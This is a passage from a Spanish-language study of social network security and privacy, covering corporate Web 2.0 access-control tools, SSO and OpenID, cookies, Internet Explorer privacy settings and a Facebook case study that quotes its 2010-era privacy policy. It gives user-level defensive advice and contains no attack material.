También nos ofrece ayuda online (según seamos niños, padres o profesores), un repertorio de
noticias, líneas de ayuda, el día del internet seguro, Eventos, Campañas y un blog.
Ilustración 79. Insafe: Día del internet seguro, 8 Febrero de 2011.
La Web es una versión europea de protégeles, pero está bastante peor organizada que
protégeles, debería invertir más en usabilidad para el desarrollo de esta tratándose de un
tema tan importante.
Página 281
sociales
14.8. Herramientas de las empresas para el control del uso de Web 2.0
Cada vez más se prohíbe el uso de las redes sociales como Facebook y Tuenti dentro de las
empresas y para facilitar la tarea, determinadas empresas han desarrollado herramientas para
el control de estos accesos.
Este tipo de herramientas no sirven sólo para que el empleado no esté distraído y mejore así
productividad, sino también para evitar posibles ataques provenientes de las Web 2.0, al ser
un entorno de colaboración tan amplio siempre tenemos más riesgos de introducir algún tipo
de malware en nuestra empresa y restringiendo algunos portales Web que no necesitemos
para trabajar también restringimos el abanico de posibilidades de ataque. Por otro lado este
tipo de políticas pueden resultar abusivas para el trabajador si no se restringen en exceso los
accesos a por tales de Internet.
Vamos a ver un ejemplo de un par de ellas.
14.8.1. Application Identity Software Blade de CheckPoint

Esta herramienta permite identificar, aceptar, bloquear o limitar el uso de miles de
aplicaciones Web 2.0.
Ilustración 80. Application Identity Software Blade de CheckPoint
Esta aplicación incluye la tecnología Check Point UserCheck involucrando a los empleados en
la toma de decisiones, ayudando así a los administradores de TI a decidir que Web 2.0 son
necesarias para las necesidades específicas de cada empresa.
La aplicación hace uso de Check Point AppWiki, que se trata de la biblioteca más amplia del
mundo con aplicaciones de Internet, redes sociales, mensajería instantánea o media
streaming.
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sociales
14.8.2. Application Control de WatchGuard

Esta herramienta controla el uso de las redes sociales dentro de las empresas. Las empresas
pueden ejercer un control sobre los portales Web 2.0.
Ilustración 81. Application Control de WatchGuard
Esta herramienta permite el control de más de 1.500 aplicaciones pudiendo elegir entre 13
categorías de aplicaciones como:
Mensajería instantánea
Redes sociales
P2P
Bases de datos
Correo electrónico
Transferencia de archivos
Terminales de acceso remoto
VoIP
Streaming Media
Gestión de redes
Aplicaciones de tipo túnel usadas por firewalls
La aplicación tiene un motor bastante potente y eficiente de IP/DNS que proporciona

protección frente ataques.
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sociales
14.9. Privacidad Web

A parte de tener nuestro perfil de nuestras redes sociales correctamente configurados para
que tenga la privacidad necesaria, deberemos configurar nuestro navegador a nivel local para
que no tengamos problemas de privacidad con nuestros datos personales.
Vamos a ver una idea de las tecnologías y aplicación que nos aportan privacidad a la Web 2.0.
14.9.1. Autenticación OpenID y Single Sign-On

Los usuarios están sometidos continuamente a introducir usuarios y contraseñas
continuamente a través de internet ya que es indispensable registrarse en la mayoría de las
Webs 2.0 para poder interactuar en ellas.
Para explicar esto de manera sencilla, pensemos en que para acceder a todos nuestros sitios
Web como pueden ser Facebook, Tuenti, blogs, Myspace, Ebay, etc. necesitamos para cada
uno de ellos una cuenta creada en ese portal con una contraseña diferente, lo que hace difícil
de recordar tantos usuarios y contraseñas diferentes. Si tuviéramos un único identificador
para todos esos sitios, creado en un servidor que verifique nuestro usuario de OpenID o Single
Sign-On, que puede confirmar la identificación en los Websites que soporten este sistema de
login, todo esto facilitaría mucho las cosas a la hora de logearnos en todos nuestros sitios Web.
14.9.1.1. Single Sign-On

Single Sign-On (SSO) se trata de un procedimiento de autenticación que facilita al usuario
acceder a múltiples sistemas con un solo ID.
Tenemos varios tipos de SSO:
Enterprise single sing-in (E-SSO): se trata de una autenticación primaria; intercepta

los requerimientos de login presentados por las aplicaciones secundarias para
completarlos con usuario y contraseña.
Web single sign-on (Web-SSO): se accede a un servidor Web a través de un servidor
proxy o de un componente instalado en el destino. Se valen del uso de cookies para
recordar los accesos.
Kerberos: los usuarios se registran en el servidor kerberos, este les devolverá una
clave que usarán para tener acceso a las aplicaciones. Se basa en criptografía de clave
simétrica.
Identidad federada: se usa para aplicaciones Web; usa protocolos basados en
estándares para habilitar las aplicaciones para que puedan identificar a los clientes sin
tener autenticación redundante.
OpenID: es un tipo de SSO distribuido y descentralizado que se compila en una url y
cualquier aplicación o servidor pueden verificar.
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sociales
Los sistemas de autenticación por SSO, al igual que facilitan mucho las cosas el simplificar el
acceso a todas nuestras Web en un único identificador, también pueden suponer muchos
problemas de privacidad y seguridad, ya que la unión de todas las cuentas en una conlleva
riesgos. Si se ve comprometida la seguridad de nuestro ordenador personal y un atacante
malicioso obtiene nuestro usuario y password del sistema SSO podría acceder a todos
nuestros portales Web con solo tener eso. Por otro lado el que dispongamos de un solo
usuario para acceder a todas nuestras Web da qué pensar, ya que con tan sólo un identificador
se podría casi conocer todo nuestro entorno, aficiones, amigos, estilo de vida, etc. lo que
compromete seriamente la privacidad de las personas.
Debido a este problema muchas de las aplicaciones disponen de la posibilidad de autenticarse

al usuario utilizando un certificado digital personal.
Single Sign-On + PKI
Esta es una iniciativa bastante innovadora, trata de unificar la autenticación SSO con la
arquitectura de clave pública que posee actualmente nuestro DNI digital. Se podría acceder a
una Web con un solo login, distribuyendo certificados digitales alojados en Smart Cards o
llaves electrónicas.
¿Podríamos pensar en un mundo en el que para hacernos nuestro propio Facebook o nuestra
propia cuenta de GMail tuviéramos que usar este sistema para autentificarnos?
Esto por un lado evitaría la falsificación de identidades en la red pero por otro lado atentaría
gravemente contra nuestra privacidad.
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sociales
14.9.1.2. OpenID
Open ID se trata de un sistema de autenticación para páginas Web. Es fiable, es gratis y
facilita el acceso a múltiples páginas Web. Con solo introducir el usuario de OpenID, podemos
tener un identificador global para todos nuestros accesos Web. Podemos obtener nuestro
propio OpenID accedió a su Website principal http://openid.net/de la fundación OpenID en los
Estados Unidos o desde su filian en Europa http://www.openid.es/.
Ilustración 82: Iniciativa OpenID
Algunas páginas como Technorati han implantado este sistema en su Web, pero hoy por hoy
no tiene demasiado éxito la iniciativa.
14.9.2. Cookies
Las cookies son ficheros de texto que se almacenan en nuestro ordenador con información de
sesiones de páginas Web que visitamos. Fueron inventadas por Netscape, y en realidad, se
crearon para la cesta de la “compra virtual”.
El protocolo HTTP no tiene ningún tipo de mecanismo para guardar información de sesiones o
configuraciones de las Webs por sí mismo, por lo que o bien los datos aparecen en la url de la
Web, como por ejemplo http://www.prueba.com/...../usuario&contraseña o bien
se guardan los datos de sesión y otras configuraciones mediante cookies.
A través de las Webs se almacena información en nuestro equipo para que en posteriores
ocasiones, la Web pueda recuperar esta información si es necesario.
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sociales
14.9.2.1. Ventajas y Desventajas

Las cookies tienen su parte buena y mala:
VENTAJAS
Por un lado, sirven a las Web para diferenciar a los usuarios así poder actuar de diferente
forma según el usuario.
Facilitan el acceso a las Webs visitadas con anterioridad.
Facilitar la identificación en sitios web. El usuario una vez que accede a una Web por primera
vez, las siguientes veces no tendrá que introducir siempre su usuario y contraseña, si él lo
desea.
Otra ventaja es el poder personalizar los portales Web mediante configuraciones a nivel de
interfaz y funcional.
DESVENTAJAS
Las cookies se usan para hacer seguimiento de los usuarios en una Web para mantener
estadísticas de uso. Ese seguimiento en ocasiones se hace para creación de bases de datos de
información sobre perfiles de usuarios por parte de las empresas de publicidad. Las empresas
almacenan los gustos de los usuarios para poder así luego spamearles con todo tipo de
publicidad que se asemeje a esos gustos.
Muchas empresas de publicidad, usan spyware para así obtener información sobre los hábitos
de navegación de los usuarios.
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sociales
14.9.2.2. Falsas afirmaciones

Las cookies no son código, son simplemente datos almacenados en nuestros ordenadores,
por lo que mediante cookies no existe la posibilidad de ejecutar ningún tipo de script en
nuestra máquina. Lo que sí es posible, al quedarse almacenada la información de las Webs que
visitamos, crear un perfil con nuestros gustos según éstas.
Existen algunas falsas afirmaciones que hemos recogido de Internet acerca de lo que hacen o
son las cookies y que no son del todo ciertas. Veamos algunas de ellas:
Las cookies son simplemente un elemento de marketing con fines publicitarios.

Se tratan de un tipo de una herramienta de spyware porque pueden leer información
personal que se encuentra en nuestro ordenador.
Las cookies son como los virus o gusanos que pueden borrar información de nuestro
disco duro.
Son utilizadas para generar spam. (Esta falsa afirmación es discutible, ya que
directamente no es así, pero indirectamente sí que podrían ser utilizadas para ello).
Generan popups.
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sociales
14.9.3. Configuración del navegador (Internet Explorer)
14.9.3.1. Cookies
Vamos a ver como configurar la seguridad de nuestro navegador para obtener la máxima
privacidad con las cookies. Lo haremos a través de Internet Explorer ya que es el navegador
más utilizado hoy día, en el resto de navegadores se configura de manera muy similar.
Accedemos a Herramientas, Opciones de Internet y accedemos a las pestaña de Seguridad.

Ahí podemos elegir el nivel de seguridad para las Webs, desde la aceptación total de todas las
cookies hasta no aceptar ninguna de ellas. Por defecto tendremos un nivel Medio o Medio alto
de privacidad. El ideal sería bloquear todas las cookies y configurar a mano los sitios Webs que
queramos que acepten cookies, para una mayor seguridad, aunque esto es una tarea bastante
tediosa y muy poco práctica, por lo que un nivel de seguridad medio-alto sería aceptable.
Ilustración 83. Opciones de IE. Privacidad
Para determinados sitios webs, como pueden ser foros por ejemplos o blogs, necesitaremos
guardar cookies para poder interactuar con este tipo de webs por lo que nos pedirán
probablemente un nivel medio de seguridad.
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sociales
Podemos configurar manualmente el nivel de privacidad si hacemos clic en Avanzada, y

escogemos que nos pregunte cada vez que desee guardar cookies.
Ilustración 84. Ilustración 1. Opciones de IE. Privacidad. Configuración avanzada de privacidad.
14.9.3.2. Historial de navegación y archivos temporales

Los navegadores por defecto guardan información de la navegación del usuario para facilitar
los futuros accesos a Webs.
Es probable que para un portal 2.0 sea difícil acceder a nuestros archivos temporales de
internet o nuestro historial de navegación, pero si lo hace, podría recoger información sobre
nuestros gustos y bombardearnos con campañas publicitarias mediantes spam o con anuncios
en la red social, o lo que es peor nos podríamos ver involucrados en un ataque de phishing.
Vamos a ver cómo eliminar el historial de navegación y los archivos temporales desde el
navegador Internet Explorer.
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sociales
Al igual que con las cookies, iremos al menú Herramientas, Opciones de Internet y en la
primera pestaña General vemos que tenemos la opción de eliminar el Historial de exploración.
Ilustración 85. Opciones de IE. General.
Para estar seguro que no dejamos ningún rastro, eliminaremos todo.
Ilustración 86. Opciones de IE. Eliminar historial de exploración.
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sociales
El navegador también nos da la opción de configurarlo para que no guarde ninguna

navegación.
Ilustración 87. Opciones de IE. Configuración de Archivo temporales de Internet e Historial.
Finalmente habremos configurado nuestro navegador de manera segura, pero hemos de

tener en cuenta que todo sistema es susceptible de ataque por lo que la información que si
hay determinada información que no deseamos que sea susceptible de robo lo mejor es no
publicarla en ninguna red social, ni si quiera en ningún sitio de Internet.
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sociales
Capítulo 15
Casos de uso
15.1. Introducción
Vamos hacer un estudio sobre los ejemplos clave en el desarrollo de las redes sociales
centrándonos en las Web 2.0 con más poder en Internet hoy en día. Hemos elegido como
ejemplos Facebook y Twitter.
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sociales
15.2. Facebook
Ilustración 88. Logotipo de Facebook.
Facebook ha cambiado la forma de uso de Internet de determinadas personas, han cambiado
sus hábitos.
Ha crecido en usuarios hasta llegar a más de 500 millones de usuarios. Si pensamos que el
primer país más poblado es China con más de 1.300 millones de habitantes y el segundo es la
India con más de 1.100 millones de habitantes, situaríamos a Facebook en el tercer país más
poblado del mundo con más 500 millones de habitantes al que le sigue Estados Unidos con
más de 300 millones de habitantes.
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sociales
Según Alexa.com Facebook es la segunda página más visitada en el mundo entero seguida de
Google que tiene el primer puesto en número de visitas
http://www.alexa.com/siteinfo/facebook.com.
Ilustración 89. Facebook alcanza el puesto 1 en el ranking de visitas por alexa.com.
Existen más de 500.000 aplicaciones para Facebook y se suben un total de 83 millones de

fotos al día.
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sociales
15.2.2. ¿Qué es?

La página oficial de Facebook es www.facebook.com y su página en español www.es-
es.facebook.com.
Es una red social gratuita, que requiere de registro. Para registrarse se necesitan datos
personales obligatorios que son nombre, apellidos, cuenta de correo electrónico, sexo y fecha
de nacimiento.
La red social está limitada a mayores de 14 años en España.
Servicios que ofrece Facebook:
Listas de Amigos (hasta un total de 5.000 amigos).

Grupos y páginas.
Muro.
Fotos (hasta un total de 5 mil millones de fotos, 160 terabytes).
Regalos.
Aplicaciones y juegos.
15.2.3. Historia
La red nación en febrero de 2004 en Estados Unidos y fue creada por Mark Zuckerberg en la
Universidad de Harvard. La idea fue crear una Web en la que la gente compartiera sus gustos
y sentimientos con sus amigos.
Al principio de su creación se permitía que los estudiantes de las universidades americanas

agregaran a otros estudiantes, es decir, el acceso a la red era mediante invitación. En agosto
de 2006 se permitieron agregar universidades de Alemania e Israel y en septiembre de 2006 la
red se abrió completamente a los usuarios de Internet.
En octubre de 2007 se vendió un 1,6% de la red a Microsoft por 240 millones de dólares, con la
idea de que Facebook fuera un modelo de negocio para ellos.
La última inversión de capital potente fue liderada por Greylock Venture Capital por 27,5
millones de dólares socio de Howard Cox que pertenece al fondo de inversión en capital riesgo
de la CIA.
En el año 2007 salieron las versiones de la red social en los idiomas francés, español y alemán.
A día de hoy cuenta con 500 millones de usuarios y está traducida a 70 idiomas. Las
previsiones según su creador es que la red social alcance el millón de usuarios de 3 a 5 años.
México alcanza hoy día el primer puesto con 12,5 millones de usuarios, es decir un 2,5%.
En el pasado 2010 salió al cine la película de “The Social Network” o en español La Red Social
que relata el nacimiento y el desarrollo del nacimiento de Facebook desde Hardward hasta su
expansión a nivel mundial. La película está basada en el libro “Multimillonarios por accidente”
(The Accidental Billionaries: The founding of Facebook, A Table of Sex, Money, Genius and
Betrayal) escrito por Ben Mezrich. En la película se narra la historia clásica de ambición y
poder por parte del personaje que imita a Mark Zuckerberg y el fundador de Napster Sean
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sociales
Parker. La película ha creado muchas críticas acerca del joven más rico del mundo, Mark
Zuckerberg.
15.2.4. Tecnología
La API de Facebook se trata de una de las mejores APIs que existen en las redes sociales pero
su implementación es tan cerrada que la utilidad es prácticamente nula.
Se compone de XML, FQL y JavaScript. Para poder usar la API se requiere que el usuario sea
de Facebook.
Facebook está programado bajo PHP, un lenguaje bastante dinámico. Posteriormente

veremos el ejemplo de Twitter que está programado bajo Ruby on Rails. Podría plantearse
que parte de la inestabilidad de Twitter se debiera a este sistema que es bastante complejo y
necesita muchas líneas de código.
15.2.5. Críticas
Facebook es muy criticado por la gran cantidad de personas que están entrando en la red. Al
firmar los términos de uso permitimos que todos nuestros datos sean propiedad de los
Estados Unidos, por lo que hay gente que afirma que es una base de datos gigantesca que le
sirve de soporte a las empresas de publicidad o la CIA, actuando como un instrumento de
manipulación a nivel global.
Otro aspecto de crítica son sus abusivas políticas de privacidad, ya que cedemos todos
nuestros datos a la red, tanto nuestros datos personales como fotografías, videos, páginas a
las que nos asociamos, etc. Cedemos la propiedad exclusiva y perpetua de toda la información
que incluyamos en la red social pudiendo usar esos datos como desee la red. Si deseamos
eliminar nuestro perfil de Facebook podemos hacerlo, pero la red no nos asegura que esa
información vaya ser borrada de manera inmediata, nuestros datos pueden permanecer en los
servidores de Facebook el tiempo que ellos deseen.
No solo esto, sino que está permitida la entrada en la red a menores de edad que pueden
verse afectados psicológicamente por la red, y si vamos más allá pueden verse involucrados
en casos de pornografía infantil o acoso.
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sociales
15.2.6. Privacidad en Facebook
Evolución de la privacidad
La evolución de la privacidad en Facebook desde que la Web se creó hace 6 años ha sido
creciente. Ahora encontramos muchas más configuraciones de privacidad, que son muy útiles
a la hora de proteger nuestros datos. A partir del año 2010 podemos configurar de manera
exhaustiva nuestro perfil.
Podemos ver esta evolución de manera gráfica gracias a la Web

http://mattmckeon.com/facebook-privacy/.
Ilustración 90. Privacidad en Facebook 2005.
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sociales
Página 299
sociales
Ilustración 93. Privacidad en facebook 2009 (Nov).
Ilustración 94. Privacidad en Facebook 2009 (Dec).
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sociales
Ilustración 95. Privacidad en Facebook 2010 (Abr).
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sociales
15.2.7. Condiciones de uso en Facebook

Facebook es la red social más popular, por lo que es una de las reces sociales que más
desarrollada tiene su política de privacidad. En el 2010 la red social permitió que la privacidad
de los perfiles fuese muy configurable.
Al crear un nuevo perfil de Facebook, la Web nos indica que tenemos que rellenar ciertos
campos obligatorios con información personal que son: Nombre, Apellidos, E-mail, Sexo y
Fecha de nacimiento.
Podemos ocultar nuestros datos para el resto de usuarios, pero Facebook seguirá teniendo
nuestros datos reales.
15.2.7.1. Política de Privacidad – Privacy Policy

Podemos acceder a la política de privacidad de Facebook desde esta dirección http://es-
la.facebook.com/policy.php.
Hoy en día podemos configurar la privacidad de nuestro perfil de manera exhaustiva. El propio
portal de Facebook nos guía para que configuremos nuestra privacidad de la mejor manera
desde distintas páginas:
Información general sobre la seguridad http://www.facebook.com/help/?safety,

podemos ver los siguientes temas:
Información general sobre la seguridad.
Información para educadores.
Información para las fuerzas del orden.
Información para padres.
Información para adolescentes.
Controles de lo que compartes:
http://www.facebook.com/settings/?tab=privacy&ref=mb#!/privacy/explanation.php.
Preguntas más frecuentes sobre privacidad:
http://www.facebook.com/help/?topic=privacyupdate.
Página de seguridad http://www.facebook.com/security.
Organizaciones y agencias de seguridad
http://www.facebook.com/help/?topic=privacyresources.
Configuración de la privacidad de nuestro perfil
http://www.facebook.com/settings/?tab=privacy.
Otros enlaces útiles:
Declaración de derechos y responsabilidades
Página Facebook Site Governance
Configuración de apliaciones
Configuración de privacidad
Página de notificaciones de la cuenta
Página de ayuda para quejas sobre nuestras prácticas y políticas de privacidad
Página de ayuda para informar sobre el uso del sitio Web de un niño menor de 13
años
Página de ayuda con información para ayudar a los padres a hablar con sus hijos
sobre el uso seguro de internet
Página 302
sociales
Cómo eliminar una cuenta

Fallecimiento de un usuario
Cómo denunciar a un impostor
Cómo denunciar contenido abusivo
Cómo denunciar una cuenta que está comprometida
Cómo solicitar la eliminación de datos de personas que no son usuarios de
Facebook
Cómo eliminar contactos del buscador de amigos
Cómo denunciar o bloquear aplicaciones de terceros
Explicación general sobre las aplicaciones de terceros y cómo acceden a los datos
Como vemos Facebook ofrece gran cantidad de recursos relacionados con la privacidad.
Comprobación automática de nuestra privacidad

ProfileWatch
Como este tema atañe a los 600.000 usuarios que componen hoy día Facebook, la Web
http://www.profilewatch.org nos permite puntuar nuestro nivel de privacidad.
Ilustración 96. Profile Watch.
Para ver nuestra puntuación de privacidad del 0 al 10, accedemos a nuestro perfil de Facebook
y hacemos clic en Perfil, como nos indica la Web.
Una vez hecho esto copiamos la url arriba indicada del perfil, y la introducimos en la Web y
hacemos clic en Check Profile.
En principio no es posible ver la privacidad de nuestros amigos a menos que conozcamos la url
de su perfil.
Página 303
sociales
Si tenemos la privacidad correctamente configurada tendremos un 10 de puntuación. Vemos

que la Web nos muestra la información que es pública en nuestro perfil, en este caso el
nombre y la foto únicamente ya que no se pueden ocultar.
Ilustración 97. Profile Watch, ejemplo de funcionamiento.
Algo interesante que nos muestra la Web es la puntuación del perfil de Mark Zuckerberg que
curiosamente es un 0,7 sobre 10.
Ilustración 98. Profile Watch, ejemplo de Mark Zuckerberg.
Parece ser que el rey de las redes sociales no se preocupa mucho por la privacidad de su perfil
o lo que parece más normal, que el uso de su perfil lo hará de una manera más corporativa que
orientado a los amigos.
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sociales
ReclaimPrivacy
Otra Web también dedicada a medir la privacidad de nuestro Facebook es
www.reclaimprivacy.org. Nos permite analizar nuestro perfil de Facebook desde ella
dándonos estadísticas de cómo se encuentra nuestra privacidad en la red actualmente.
Ilustración 99. Reclaim Privacy.
Para escanear nuestra privacidad en Facebook desde la Web deberemos seguir los siguientes
pasos:
Accedemos a la Web oficial www.reclaimprivacy.org.
Una vez dentro el link Scan for Privacy, lo arrastramos hasta la barra de favoritos.
Accedemos a las opciones de privacidad de nuestro Facebook,
http://www.facebook.com/settings/?tab=privacy&ref=mb.
Una vez que accedemos a las opciones de privacidad le damos al link Scan for Privacy
y veremos que la aplicación nos hará un escaneo completo de nuestra privacidad.
Una vez que realiza el análisis de nuestro perfil nos va diciendo la partes de nuestro Facebook
que son seguras y las que no.
Página 305
sociales
POLÍTICA DE PRIVACIDAD
Para ver la política de Privacidad de Facebook accederemos a la Web http://es-
la.facebook.com/policy.php.
Ilustración 100. Política de privacidad de Facebook.
La política de privacidad de Facebook regula los siguientes puntos:
1. Introducción.
2. Información que recibimos.
3. Compartir información en Facebook.
4. Información que compartes con terceros.
5. Cómo utilizamos tu información.
6. Cómo compartimos información.
7. Cómo puedes cambiar o eliminar información.
8. Cómo protegemos la información.
9. Otros términos.
Podemos destacar los siguientes puntos de la política de privacidad, subrayando los puntos
más importantes.
El término donde más se excede el portal de Facebook sea el punto “8. Cómo protegemos la
información” ya que a pesar de decirnos que tienen medidas de seguridad en sus servidores
para proteger la información no se hacen responsables de que un ataque intencionado se
haga con ellos.
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sociales
Puntos a destacar en la política de privacidad de Facebook:
1. Introducción
Programa TRUSTe.Facebook es titular de una licencia de certificación

del programa de privacidad TRUSTe. Esto significa que nuestra política
y nuestras prácticas han sido supervisadas por TRUSTe, una
organización independiente dedicada a comprobar las políticas y
prácticas de privacidad y seguridad para garantizar que cumplen los
estrictos requisitos de su programa. (…)
No se acepta información de niños menores de 13 años. (…) Si descubrimos

que hemos recibido información de un niño menor de 13 años,
borraremos esa información lo más rápido posible.
2. Información que recibimos
Información que nos envías:
Información sobre ti. Cuando te registras en Facebook, nos facilitas tu

nombre, correo electrónico, sexo y fecha de nacimiento. (…) En algunos
casos podríamos pedirte información adicional por motivos de
seguridad o para ofrecerte servicios específicos.
Información sobre transacciones. Podemos guardar los datos de las

transacciones o pagos que realices a través de Facebook. Si no deseas
que almacenemos el número de cuenta de origen de tu pago, puedes
eliminarlo a través de la página de pagos.
Información sobre amigos.(…) Si nos das tu contraseña para obtener

estos contactos, no la guardaremos una vez cargada la información de
los contactos.
Información que recopilamos cuando interactúas con Facebook:
Acceso a la información del dispositivo y del navegador. Cuando accedes a

Facebook desde un ordenador, teléfono móvil u otro dispositivo,
podemos obtener información de dicho dispositivo sobre tu tipo de
navegador, ubicación y dirección IP, así como las páginas que visitas.
Información sobre cookies. Utilizamos "cookies" (datos que almacenamos

en tu ordenador, teléfono móvil u otro dispositivo durante un período
de tiempo prolongado) para que Facebook sea más fácil de usar, para
que nuestra publicidad sea mejor y para proteger tanto a ti como a
Facebook. Por ejemplo, las empleamos para guardar tu nombre de
usuario (pero nunca tu contraseña) de modo que te resulte más sencillo
Página 307
sociales
iniciar sesión cada vez que quieras entrar en Facebook. También

utilizamos las cookies para confirmar que estás conectado a Facebook,
y para saber cuándo estás interactuando con aplicaciones y sitios Web
de la plataforma Facebook, nuestros widgets, botones de compartir y
nuestros anuncios. Puedes eliminar o bloquear las cookies mediante la
configuración de tu navegador, pero en algunos casos puede influir en
tu capacidad de uso de Facebook.
Información procedente de otros usuarios. Podemos recopilar información

acerca de ti a partir de otros usuarios de Facebook.
3. Compartir información en Facebook
Nombre y fotografía de perfil. Facebook ha sido diseñado para que te

resulte sencillo encontrar y conectarte a otros. Por este motivo, tu
nombre y fotografía de perfil carecen de configuración de privacidad. Si
no quieres compartir tu fotografía de perfil, debes eliminarla (o no
añadir ninguna).
Información de “Todos”. La información configurada como “todos” está

disponible públicamente, como tu nombre, foto de perfil y conexiones.
Dicha información permanece accesible y visible para todo aquel que
entre en Internet (incluidas las personas no registradas en Facebook),
queda sujeta a indexación por parte de motores de búsqueda de
terceros y puede ser importada, exportada, distribuida y redistribuida
por nosotros y otros sin limitaciones de privacidad.
4. Información que compartes con terceros.
Plataforma de Facebook. Como ya hemos mencionado, no operamos los

sitios Web y aplicaciones que utilizan la plataforma de Facebook ni
somos sus propietarios. Esto significa que al utilizar estas aplicaciones y
sitios Web, tu información de Facebook no está sólo disponible para
Facebook. Antes de permitir el acceso a cualquier información sobre ti,
les requerimos que acepten una serie de condiciones que limitan su uso
de tu información (puedes consultar estas condiciones en la sección 9 de
nuestra Declaración de derechos y responsabilidades) y ponemos en
práctica medidas técnicas para garantizar que sólo obtienen
información autorizada.
Enlaces. Al hacer clic en algunos enlaces de Facebook, es posible que te

lleven fuera de nuestro sitio Web. No nos hacemos responsables de las
Página 308
sociales
políticas de privacidad de otros sitios Web, y te animamos a que leas

sus normas de privacidad.
5. Como utilizamos tu información.
Para gestionar el servicio. Utilizamos la información que recopilamos

para ofrecerte nuestros servicios y funciones, evaluarlos y mejorarlos y
prestarte servicio técnico. Empleamos la información para impedir
actividades que podrían ser ilegales y aplicar nuestra Declaración de
derechos y responsabilidades. También utilizamos una serie de
sistemas tecnológicos para detectar y ocuparnos de actividades y
contenido en pantalla anómalos con el fin de evitar abusos como el
correo basura. Estos esfuerzos pueden provocar, en ocasiones, el fin o
la suspensión temporal o permanente de algunas funciones para
algunos usuarios.
Para ayudar a tus amigos a encontrarte. Permitimos a otros usuarios

utilizar información de contacto que tengan sobre ti (como tu dirección de
correo electrónico) para encontrarte, incluso a través de herramientas de
importación y búsqueda de contactos. Puedes impedir que otros usuarios
utilicen tu dirección de correo electrónico para encontrarte usando en
búsqueda tu configuración de búsqueda en la configuración de privacidad.
Software descargable. (…) Podemos no realizar ninguna declaración formal

si creemos que la recopilación y uso de información por nuestra parte es el
fin obvio de la aplicación, por ejemplo, el hecho de recibir fotografías cuando
se utiliza la herramienta para cargar fotos.
.
6. Cómo compartimos información
Facebook se basa en compartir información con otros (amigos y miembros

de tus redes) al tiempo que te ofrece una configuración de privacidad que
puedes utilizar para restringir el acceso de otros usuarios a tu información.
Para ayudar a tus amigos a encontrarte. De forma predeterminada,

incluimos cierta información que has colocado en tu perfil en los resultados
de búsqueda de Facebook para ayudar a tus amigos a encontrarte. Sin
embargo, puedes controlar quién puede ver dicha información, así como
quién puede encontrarte en búsquedas, a través de la configuración de
privacidad.
Para responder a requerimientos legales y evitar daños. Podemos revelar

información con arreglo a citaciones, órdenes judiciales u otros
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sociales
requerimientos (incluidos asuntos civiles y penales) si creemos de buena fe

que la ley exige dicha respuesta. Esto puede incluir respetar requerimientos
de jurisdicciones ajenas a los Estados Unidos cuando creamos de buena fe
que las leyes locales de tal jurisdicción exigen dicha respuesta, son
aplicables a usuarios de dichas jurisdicción y resultan coherentes con
estándares internacionales generalmente aceptados. También podemos
compartir información si creemos de buena fe que resulta necesario para
impedir un fraude u otra actividad ilegal, evitar un daño físico inminente o
protegernos tanto a nosotros como al usuario de personas que infrinjan
nuestra Declaración de derechos y responsabilidades. Esto puede incluir
compartir información con otras empresas, abogados, tribunales u otras
entidades gubernamentales.
7. Cómo puedes cambiar o eliminar información
Desactivación o eliminación de la cuenta. Si quieres dejar de utilizar tu

cuenta, puedes desactivarla o eliminarla. Cuando desactivas una cuenta,
ningún usuario podrá verla, pero no será eliminada. Cuando eliminas una
cuenta, se borra de forma permanente de Facebook. Puedes desactivar la
cuenta en la página de configuración de la cuenta o eliminar tu cuenta
en esta página de ayuda.
Limitaciones sobre la eliminación. Incluso después de eliminar información

de tu perfil o eliminar tu cuenta, pueden permanecer copias de dicha
información visible en otro lugar en la medida en que se haya compartido
con otros, se haya distribuido de otro modo conforme a tu configuración de
privacidad, o haya sido copiada o almacenada por otros usuarios. Sin
embargo, tu nombre dejará de estar asociado con dicha información en
Facebook.
Copias de seguridad. La información eliminada y borrada puede permanecer

en copias de seguridad hasta un máximo de 90 días, pero no estará
disponible para los demás.
8. Cómo protegemos la información
Medidas que tomamos para mantener a salvo tu información.

Mantenemos la información de tu cuenta en un servidor protegido con un
firewall. Cuando introduces información confidencial (por ejemplo,
contraseñas y números de tarjeta de crédito), la ciframos usando tecnología
de capa de socket seguro (SSL). También utilizamos medidas sociales y
automatizadas para aumentar la seguridad (como el análisis de la actividad
de la cuenta por si hubiera algún comportamiento fraudulento o anómalo
Página 310
sociales
de otro tipo), podemos limitar el uso de funciones del sitio Web en respuesta
a posibles signos de abuso, podemos eliminar contenido inadecuado o
enlaces a contenido ilegal, y podemos suspender o desactivar cuentas por si
hubiera violaciones de nuestra Declaración de derechos y responsabilidades.
Riesgos inherentes a compartir información. Aunque te permitimos

definir opciones de privacidad que limiten el acceso a tu información, ten en
cuenta que ninguna medida de seguridad es perfecta ni impenetrable. No
podemos controlar las acciones de otros usuarios con los que compartas
información. No podemos garantizar que sólo vean tu información personas
autorizadas. No podemos garantizar que la información que compartas en
Facebook no pase a estar disponible públicamente. No somos responsables
de que ningún tercero burle cualquier configuración de privacidad o medidas
de seguridad en Facebook. Puedes reducir estos riesgos utilizando hábitos
de seguridad de sentido común como elegir una contraseña segura, utilizar
contraseñas diferentes para servicios diferentes y emplear software
antivirus actualizado.
Informar de incumplimientos. Deberías informarnos de cualquier

incumplimiento de la seguridad en esta página de ayuda.
Página 311
sociales
15.2.7.2. Términos de uso – Statement of Rights and Responsibilities
Términos de uso
Para ver las condiciones de uso de la Web lo podemos hacer desde
http://www.facebook.com/terms.php.
Ilustración 101. Facebook. Términos de uso.
Los términos de uso de Facebook regulan los siguientes puntos:

1. Privacidad
2. Compartir el contenido y la información.
3. Seguridad.
4. Seguridad de la cuenta y registro.
5. Protección de los derechos de otras personas.
6. Móvil.
7. Pagos.
8. Disposiciones especiales aplicables a los enlaces compartidos.
9. Disposiciones especiales aplicables a desarrolladores u operadores de
aplicaciones y sitios Web.
10. Acerca de la publicidad en Facebook.
11. Disposiciones especiales aplicables a anunciantes.
12. Disposiciones especiales aplicables a páginas.
13. Enmiendas.
14. Terminación.
15. Conflictos.
16. Disposiciones especiales a usuarios que no residan en los Estados Unidos.
17. Definiciones.
18. Otros.
Página 312
sociales
Vamos a destacar los puntos a favor y en contra más importantes del contrato que firmamos
cuando hacemos clic en Registrar.
Puntos en contra
Veamos el siguiente punto de la declaración:
2. Compartir el contenido y la información.
Eres el propietario de todo el contenido y la información que publicas en
